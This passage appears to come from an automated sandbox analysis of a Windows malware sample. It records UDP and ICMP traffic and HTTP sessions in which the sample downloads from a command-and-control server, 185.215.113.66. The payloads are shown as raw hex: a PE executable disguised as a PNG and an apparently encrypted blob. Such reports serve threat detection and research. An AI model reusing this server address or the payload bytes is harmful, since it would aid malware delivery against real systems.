Aug 31, 2022 02:17:40.154408932 CEST	63231	40500	192.168.2.6	5.74.57.165
Aug 31, 2022 02:17:45.173243046 CEST	63231	40500	192.168.2.6	178.163.120.234
Aug 31, 2022 02:17:50.189012051 CEST	63231	40500	192.168.2.6	105.109.251.50
Aug 31, 2022 02:17:55.198187113 CEST	63231	40500	192.168.2.6	37.202.191.246
Aug 31, 2022 02:18:00.201078892 CEST	63231	40500	192.168.2.6	154.118.198.100

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 31, 2022 02:17:02.487714052 CEST	213.230.120.247	192.168.2.6	ec9	(Host unreachable)	Destination Unreachable
Aug 31, 2022 02:17:15.216681957 CEST	176.113.143.70	192.168.2.6	ffa2	(Host unreachable)	Destination Unreachable
Aug 31, 2022 02:17:50.283812046 CEST	105.109.251.50	192.168.2.6	2489	(Port unreachable)	Destination Unreachable
Aug 31, 2022 02:18:01.639939070 CEST	154.118.198.100	192.168.2.6	20c6	(Host unreachable)	Destination Unreachable

HTTP Request Dependency Graph

185.215.113.66

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49724	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:15:59.425627947 CEST	706	OUT	GET /tpeinf.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:15:59.618554115 CEST	707	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:15:59 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: keep-alive Expires: Mon, 26 Jul 2030 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Wed, 31 Aug 2022 00:15:59GMT Content-Disposition: attachment; filename="tpeinf.png" Data Raw: 31 64 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 87 81 25 f3 c3 e0 4b a0 c3 e0 4b a0 c3 e0 4b a0 bb 92 4a a1 c1 e0 4b a0 00 ef 16 a0 c1 e0 4b a0 00 ef 14 a0 c2 e0 4b a0 00 ef 44 a0 c1 e0 4b a0 e4 26 26 a0 c7 e0 4b a0 c3 e0 4a a0 7e e0 4b a0 e4 26 30 a0 d6 e0 4b a0 dd b2 c2 a0 e4 e0 4b a0 dd b2 da a0 c2 e0 4b a0 52 69 63 68 c3 e0 4b a0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 44 fa 62 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e6 00 00 00 58 00 00 00 00 00 00 20 5a 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 1f 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fc e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ca 2e 00 00 00 00 01 00 00 30 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 26 00 00 00 30 01 00 00 14 00 00 00 1a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1d00MZ@!L!This program cannot be run in DOS mode.$%KKKJKKKDK&&KJ~K&0KKKRichKPEL0DbX Z@`.text `.rdata.0@@.data&0@
Aug 31, 2022 02:15:59.618596077 CEST	709	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 51 6a 0c e8 55 7e 00 00 83 c4 04 89 45 fc 6a 01 e8 e8 03 00 00 83 Data Ascii: UQjU~EjMUMAUBE]UQEMU:tME8t#MQREQUP$MAUBEQU
Aug 31, 2022 02:15:59.618616104 CEST	710	IN	Data Raw: 55 e8 8b 45 08 89 10 8b 4d 08 8b 11 3b 55 e8 73 09 8b 45 f0 83 c0 01 89 45 f0 8b 4d ec 0f af 4d f4 8b 55 08 89 4a 04 8b 45 08 8b 48 04 03 4d f0 8b 55 08 89 4a 04 33 c0 8b e5 5d c3 cc cc cc 55 8b ec 83 ec 0c 8b 45 0c 0f af 45 14 89 45 fc 8b 4d 0c Data Ascii: UEM;UsEEMMUJEHMUJ3]UEEEMMMUUUE+MU+EM9vUBMAUEH+UJ]U0E%uMUE%E
Aug 31, 2022 02:15:59.618629932 CEST	711	IN	Data Raw: 8b 45 f8 03 45 e4 8b 4d 08 8b 55 ec 03 14 81 89 55 ec 8b 45 f8 03 45 e4 8b 4d 08 8b 55 ec 3b 14 81 73 09 8b 45 f0 83 c0 01 89 45 f0 8b 4d f8 03 4d e4 8b 55 08 8b 45 ec 89 04 8a 8b 4d f0 89 4d f4 e9 6b ff ff ff 8b 55 e4 03 55 e8 8b 45 08 8b 4d f4 Data Ascii: EEMUUEEMU;sEEMMUEMMkUUEM3]U}uEEEEEM;MUEQUREPpMU+EMU+EMU9vEEEM
Aug 31, 2022 02:15:59.618648052 CEST	713	IN	Data Raw: c4 10 33 c0 8b e5 5d c3 cc cc cc 55 8b ec 83 ec 30 8b 45 10 89 45 dc 8b 4d dc d1 e1 89 4d d4 c7 45 f4 00 00 00 00 eb 09 8b 55 f4 83 c2 01 89 55 f4 8b 45 f4 3b 45 d4 73 0f 8b 4d f4 8b 55 08 c7 04 8a 00 00 00 00 eb e0 c7 45 e4 00 00 00 00 8b 45 d4 Data Ascii: 3]U0EEMMEUUE;EsMUEEEEMMU;UEEMUPMUPMQPUEMMUEM;sUUEE;Eu'}t!MMMU;UsEE
Aug 31, 2022 02:15:59.618659973 CEST	714	IN	Data Raw: 01 89 4d f8 8b 55 f8 3b 55 14 73 36 8b 45 f8 8b 4d 0c 8b 14 81 23 55 f4 8b 4d fc d3 ea 89 55 f0 8b 45 f8 8b 4d 0c 8b 14 81 8b 4d ec d3 e2 0b 55 e8 8b 45 f8 8b 4d 08 89 14 81 8b 55 f0 89 55 e8 eb b9 8b 45 e8 5e 8b e5 5d c3 cc cc cc cc cc cc cc 55 Data Ascii: MU;Us6EM#UMUEMMUEMUUE^]UV} EEEMMU;Us1EE;EsMMUEuUEE3 UUETMU}tEPMQUREP_
Aug 31, 2022 02:15:59.618675947 CEST	715	IN	Data Raw: 32 30 30 30 0d 0a f4 51 e8 49 fa ff ff 83 c4 08 8d 55 f4 52 e8 1d eb ff ff 83 c4 04 33 c0 75 da 83 7d fc 00 74 10 8b 4d 10 51 8b 55 fc 52 e8 23 fa ff ff 83 c4 08 8d 45 fc 50 e8 f7 ea ff ff 83 c4 04 33 c9 75 da 33 c0 8b e5 5d c3 cc cc cc cc cc cc Data Ascii: 2000QIUR3u}tMQUR#EP3u3]UQEPEMQUREPMQUREPMQUREP}tMQUREPt3u3]UEPMQUREPMQ
Aug 31, 2022 02:15:59.618694067 CEST	716	IN	Data Raw: da 83 7d e0 00 74 10 8b 4d 18 51 8b 55 e0 52 e8 08 f5 ff ff 83 c4 08 8d 45 e0 50 e8 dc e5 ff ff 83 c4 04 33 c9 75 da 83 7d e4 00 74 10 8b 55 18 52 8b 45 e4 50 e8 e2 f4 ff ff 83 c4 08 8d 4d e4 51 e8 b6 e5 ff ff 83 c4 04 33 d2 75 da 33 c0 8b e5 5d Data Ascii: }tMQUREP3u}tUREPMQ3u3]ULEPMQuURjEPu&MQUREPMQURkEEE}s} sM
Aug 31, 2022 02:15:59.618706942 CEST	718	IN	Data Raw: 45 f4 50 8b 4d 08 51 e8 96 ef ff ff 83 c4 0c 83 7d f4 00 74 10 8b 55 d8 52 8b 45 f4 50 e8 c0 ef ff ff 83 c4 08 8d 4d f4 51 e8 94 e0 ff ff 83 c4 04 33 d2 75 da 83 7d f0 00 74 10 8b 45 d8 50 8b 4d f0 51 e8 9a ef ff ff 83 c4 08 8d 55 f0 52 e8 6e e0 Data Ascii: EPMQ}tUREPMQ3u}tEPMQURn3u}tMQURtEPH3u}tUREPNMQ"3uEEEM;Ms=UtEPMREQ
Aug 31, 2022 02:15:59.618719101 CEST	719	IN	Data Raw: 08 0f b7 11 83 fa 74 75 61 8b 45 08 0f b7 48 02 83 f9 31 74 0c 8b 55 08 0f b7 42 02 83 f8 32 75 09 c7 45 f8 fc 19 41 00 eb 40 8b 4d 08 0f b7 51 02 83 fa 65 75 2d 8b 45 08 0f b7 48 04 83 f9 72 75 21 8b 55 08 0f b7 42 06 83 f8 72 75 15 8b 4d 08 0f Data Ascii: tuaEH1tUB2uEA@MQeu-EHru!UBruMQauE AEPAEhuExAUQuEAMRuEAENuEAUAuEAMSuE<AEzuE`AUsu
Aug 31, 2022 02:15:59.674906969 CEST	721	IN	Data Raw: 7d dc 01 74 1d 83 7d dc 02 0f 84 ac 01 00 00 e9 ee 01 00 00 81 7d dc 0d 03 00 00 74 27 e9 e0 01 00 00 8b 55 08 52 ff 15 f0 01 41 00 89 45 fc 8b 45 fc 50 6a eb 8b 4d 08 51 ff 15 b4 01 41 00 e9 be 01 00 00 8b 55 10 3b 55 fc 75 18 8b 45 14 89 45 fc Data Ascii: }t}}t'URAEEPjMQAU;UuEEMQjURA}tEPMQUREPA}EjAtE(jAtEjAtE}jAMQAE}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49733	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:16:23.100950003 CEST	850	OUT	GET /twizt/1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:23.158679008 CEST	852	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:23 GMT Content-Type: application/octet-stream Content-Length: 6912 Last-Modified: Tue, 30 Aug 2022 14:40:56 GMT Connection: keep-alive ETag: "630e2178-1b00" Accept-Ranges: bytes Data Raw: 9a 7f de d5 e2 46 7d bf c5 ae 8a 54 80 13 84 48 15 28 c5 89 e6 41 b7 f7 1a 52 5b be 40 05 0b 9e c8 be f6 c2 1d e6 a2 19 06 fd 75 2e 51 15 d8 bf a5 4b 13 a9 8b 83 a5 0a f3 68 23 a2 65 24 4e 81 42 93 29 cd f8 f3 dd 57 35 f8 15 0b 83 b0 a3 61 0d f4 60 ed f6 4e 5f 4c 24 a8 61 52 c3 4c 25 d1 40 d4 44 46 15 23 f5 72 d5 62 f7 b7 df 6f 01 20 d5 95 15 3d 23 ab 38 b0 3b 84 a3 90 80 59 96 1e 73 8d 77 f2 d9 b9 b8 18 9e 37 d2 d2 bc 96 a1 1f 1e 4f 2e 16 f6 45 0d 8c ce f2 92 06 2d 08 2c ea 9a 5b 88 90 3b 45 ce cb 26 a6 91 30 b2 84 15 6b a2 81 29 b5 77 41 95 3e 83 8b 5d 58 cd 60 f6 2f 24 cc 50 9f 81 9f a8 8e 45 76 20 4b 67 b9 ce 51 cd 88 11 82 30 41 c3 5f d6 b4 8e 5f 15 b4 09 f8 3c 74 f3 e7 66 4f 5b 01 81 38 1a aa 0e 1d f4 39 c6 9b 07 32 01 d9 2d 69 fe 8d 3b 68 ce 8a ee 01 85 d2 51 f6 cc 3d 3f 14 f5 b5 37 3e d4 0f 5a c1 a0 43 b4 5a 49 60 4b 6e fb dc f7 fe b0 7f 30 3b 9c 40 af 26 a2 dc 16 e7 9b b2 64 d1 09 64 94 bd 4e 0c b7 5b 2c bc 72 4f 86 2b a7 b1 06 17 4c 98 19 80 c8 ee 06 7c 2f 09 17 7f b7 de 04 62 a9 7f e8 12 87 7a 76 7d 67 c2 a7 e4 b6 63 04 2b fe d8 a0 0f d7 5b db d7 8b ef e3 92 c6 16 d7 23 2e 1d 3f d8 85 25 52 f6 c3 22 a5 26 0d 38 96 7b 0c 83 eb 10 de 0f b4 23 98 93 7c e6 8d 3c d0 f5 c3 36 7f e8 e3 c7 21 ba c8 8f cb 0c d5 e9 df d2 9f b2 37 45 c8 0d 92 c9 f9 dd 2a f6 f2 cb 48 ae 55 8d 87 8d 1b 97 f7 9b d7 7d b3 7d 7d 09 b3 10 54 67 1e 24 bf ae cd d8 04 42 c5 fe 8f 25 a9 63 e9 05 c2 3f 04 27 d7 de e9 0b 5c a4 93 54 0e 77 a8 f2 cd 7e 41 a9 98 31 e2 51 93 70 ff e6 9c 63 4f 55 ab 71 01 f0 55 58 10 b4 85 a6 bc 11 c6 c6 eb 94 43 96 9b a3 54 83 9e b6 1b 55 26 41 66 4e b7 b7 99 fa 1e 57 83 71 08 ad 77 47 dc 5c 51 e8 7b c6 47 fd f6 ea d2 05 53 9e 4b c7 7a c6 b8 1e b7 76 9a 04 33 4d e4 8d 36 15 4d 05 23 85 48 e2 d1 1c c2 9f 87 05 a6 5d 3f 09 b5 90 9d 99 17 ce b9 4c 31 eb 09 a0 12 95 df f5 a6 05 42 85 04 3e 9a 95 ac 34 25 d6 b7 d7 f9 e9 62 cf 8c 51 53 f1 dc 25 be 71 5b ff 03 cc 02 b3 44 ef 3d 32 98 23 d7 61 2a 79 8d 85 6f 7b f2 83 08 61 c5 a6 ae a6 10 30 1a eb d6 66 7c 3b c0 82 b1 8b 0d 97 67 2f a7 46 2a 96 06 0f 71 c7 f6 96 1e 4f 6e a9 39 0e 4d 91 1d e6 42 56 dd 26 38 ab 18 b0 c8 cf 8f fb 89 13 94 53 14 3c bf 36 48 51 1b 87 5a 36 87 38 5a cf 3c d7 95 97 25 fe b1 c8 5b 02 c0 8f 1e 09 3b b4 49 b1 68 ba 92 77 6f 54 fc 89 5f cb 6d 1e b6 9a b7 6d 2b 36 7e cc e0 45 b1 69 9c aa be df df 1d f4 3d b7 a8 96 ac 92 e1 93 43 0c 89 ea db 78 37 56 01 97 33 f2 e4 2d 06 87 3a ef 9f 57 19 7e 8a 31 57 81 35 b7 08 92 ec f5 63 b6 3e 0f db 09 0c 85 fc 7d 97 9f 49 dc 07 d3 ea a1 5b c8 dd 7c 16 9a 50 3a 15 f6 66 56 ea ef c2 9a 3b f0 3b ac c4 1a aa 5e 34 89 5c 35 55 de 65 26 76 1a d9 bc 09 81 d4 c2 e9 5e 5e 13 9e d3 ad cb ab 7d 29 ee b1 26 7f f4 3e e7 e1 06 60 e3 38 a7 fa 7c 7d e8 e7 c3 7a 16 4a 48 6e be 31 95 84 69 42 36 32 74 65 45 13 00 3e 8b 62 03 d7 33 a3 d6 6c 3b 2c d2 35 82 49 cd 95 74 f9 88 7d 9a 4a 15 71 48 e4 d5 c7 d5 e4 79 7a ba 37 86 a4 78 f3 fe b4 cc 38 29 30 29 d3 75 c9 0f 09 6e f0 cf e9 71 ce 12 df c1 40 f8 8a 4c 5d c0 74 ae 53 ab 35 0a 05 52 bf de 67 f6 62 ae 60 58 af ff 8d bf 88 ef 5d da 3a 67 f8 86 56 2f 5c 68 78 69 d8 56 1b 4a 65 6f c1 a0 b8 65 5c 7e df 19 8b b1 bf c1 45 6a f9 34 0b 11 a5 69 0d b7 60 d9 94 e7 46 47 13 88 00 75 21 52 3f e5 95 fe 9e 8e 15 8a 97 ee a4 78 26 16 2c ba 96 0a 53 Data Ascii: F}TH(AR[@u.QKh#e$NB)W5a`N_L$aRL%@DF#rbo =#8;Ysw7O.E-,[;E&0k)wA>]X`/$PEv KgQ0A__<tfO[892-i;hQ=?7>ZCZI`Kn0;@&ddN[,rO+L\|/bzv}gc+[#.?%R"&8{#\|<6!7EHU}}}Tg$B%c?'\Tw~A1QpcOUqUXCTU&AfNWqwG\Q{GSKzv3M6M#H]?L1B>4%bQS%q[D=2#ayo{a0f\|;g/F*qOn9MBV&8S<6HQZ68Z<%[;IhwoT_mm+6~Ei=Cx7V3-:W~1W5c>}I[\|P:fV;;^4\5Ue&v^^})&>`8\|}zJHn1iB62teE>b3l;,5It}JqHyz7x8)0)unq@L]tS5Rgb`X]:gV/\hxiVJeoe\~Ej4i`FGu!R?x&,S
Aug 31, 2022 02:16:23.158716917 CEST	853	IN	Data Raw: 77 8f b7 b0 aa ea 97 56 54 1c e4 93 cd 83 c0 a4 59 4d f9 47 84 a2 43 24 04 b6 70 ed b1 c0 3e 41 6a d4 a3 b9 c7 0c 9d 3e 24 13 42 52 5c 93 9d 2b 60 30 3e 6a 23 1b 82 44 0a bd d1 d4 d2 46 0b 9b 6d aa 52 05 2c 3e 49 3e b1 fb 6d a5 a2 64 4b 7f f4 88 Data Ascii: wVTYMGC$p>Aj>$BR\+`0>j#DFmR,>I>mdK6%!th5@X:`4VS9zN3)p{o^{xzs>@>(Kfq:u%Y8#k=5BA=2_Q/cR.urpDP-d
Aug 31, 2022 02:16:23.158745050 CEST	854	IN	Data Raw: d4 cd 8b 6d 60 fe da 4d 13 83 78 bd e1 67 33 7e 47 cf 7f a7 98 9a c4 c7 a9 90 11 48 7a dd 15 5c dd e4 87 51 75 21 4a e7 39 68 cf ec ad aa 9b 22 de c2 69 41 b4 fa ce 24 4d 0c cd 3f b9 30 41 ee 97 7e 62 4a 0b ae 22 5d 4f 81 3f 4e c0 5f 44 7d ef 5e Data Ascii: m`Mxg3~GHz\Qu!J9h"iA$M?0A~bJ"]O?N_D}^&~ba(;/M8UB=Z_LhU$A lb9fdd{Xow3dg~I\|{d0t~lS)/Y^6s(QC<
Aug 31, 2022 02:16:23.158771992 CEST	856	IN	Data Raw: 0e 23 f5 0e 79 2b b0 d6 cc 0f 95 51 5c 00 9b 4b ce 1f 0c e8 d1 f8 f2 d1 d0 d9 16 cf 63 4c 19 61 89 ed 3a 3e 25 36 92 bc 60 e6 f8 90 a0 df 67 c5 45 e9 3f c7 a7 b5 8d a8 06 1c bd e9 97 2b 09 1a db 68 d7 eb c7 61 5c dd bc 14 60 cd c5 0f 84 22 2d 3d Data Ascii: #y+Q\KcLa:>%6`gE?+ha\`"-=}z)4!;D\Y}cw4q&Hrt3XyK--VX\|+]ZH ]sp&fPxk(stQ92Zq`KGT8w(Q
Aug 31, 2022 02:16:23.158797026 CEST	857	IN	Data Raw: c9 95 21 5a eb ce 7f f9 c6 fb 1f 11 d1 e8 af 02 8c c6 f4 f7 3e 32 5f 2e f2 90 d9 06 bf 64 40 40 7c 79 d1 ae d4 95 57 f0 25 01 96 53 27 e4 df 9a a4 be 02 da a0 c8 66 78 76 00 11 60 7f 6c b9 17 7d 4c 45 a5 37 b2 43 a3 15 a5 45 16 9c 7e 4f 25 1d db Data Ascii: !Z>2_.d@@\|yW%S'fxv`l}LE7CE~O%uf)}BmUZ3Qpy6c=hdf_h]B+7Au<;R"/y_A{eNLh].`7EhGKcsF.Ywr+a]r
Aug 31, 2022 02:16:23.158822060 CEST	858	IN	Data Raw: 80 27 49 5e 69 a6 ee 0d 64 7a 71 b6 79 37 5a 19 d0 05 b9 c1 00 09 a4 49 b0 3b 61 6e cf e4 53 31 7c b0 6e 41 ce 9a f4 cb 35 cf b7 7e 0e 24 e0 23 67 a8 25 dc 7f 7e 26 d3 df db 3f 44 d4 d3 8a 86 ce 1c ed 8a 0a d5 d8 17 ee 61 44 fb 65 41 30 72 70 68 Data Ascii: 'I^idzqy7ZI;anS1\|nA5~$#g%~&?DaDeA0rphyx*A^g1\hj![\[qTXo^\TDW8`#4@nuV7?t(qlrIC-dtXQ+=(3yIt$%aU,V\x,E,]u

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49787	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:17:47.548510075 CEST	19207	OUT	GET /twizt/1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66 If-Modified-Since: Tue, 30 Aug 2022 14:40:56 GMT If-None-Match: "630e2178-1b00"
Aug 31, 2022 02:17:47.604707003 CEST	19207	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:47 GMT Last-Modified: Tue, 30 Aug 2022 14:40:56 GMT Connection: keep-alive ETag: "630e2178-1b00"
Aug 31, 2022 02:17:48.617147923 CEST	19216	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:48.677912951 CEST	19218	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:17:49.692909956 CEST	19226	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:17:49.749217987 CEST	19227	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:17:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 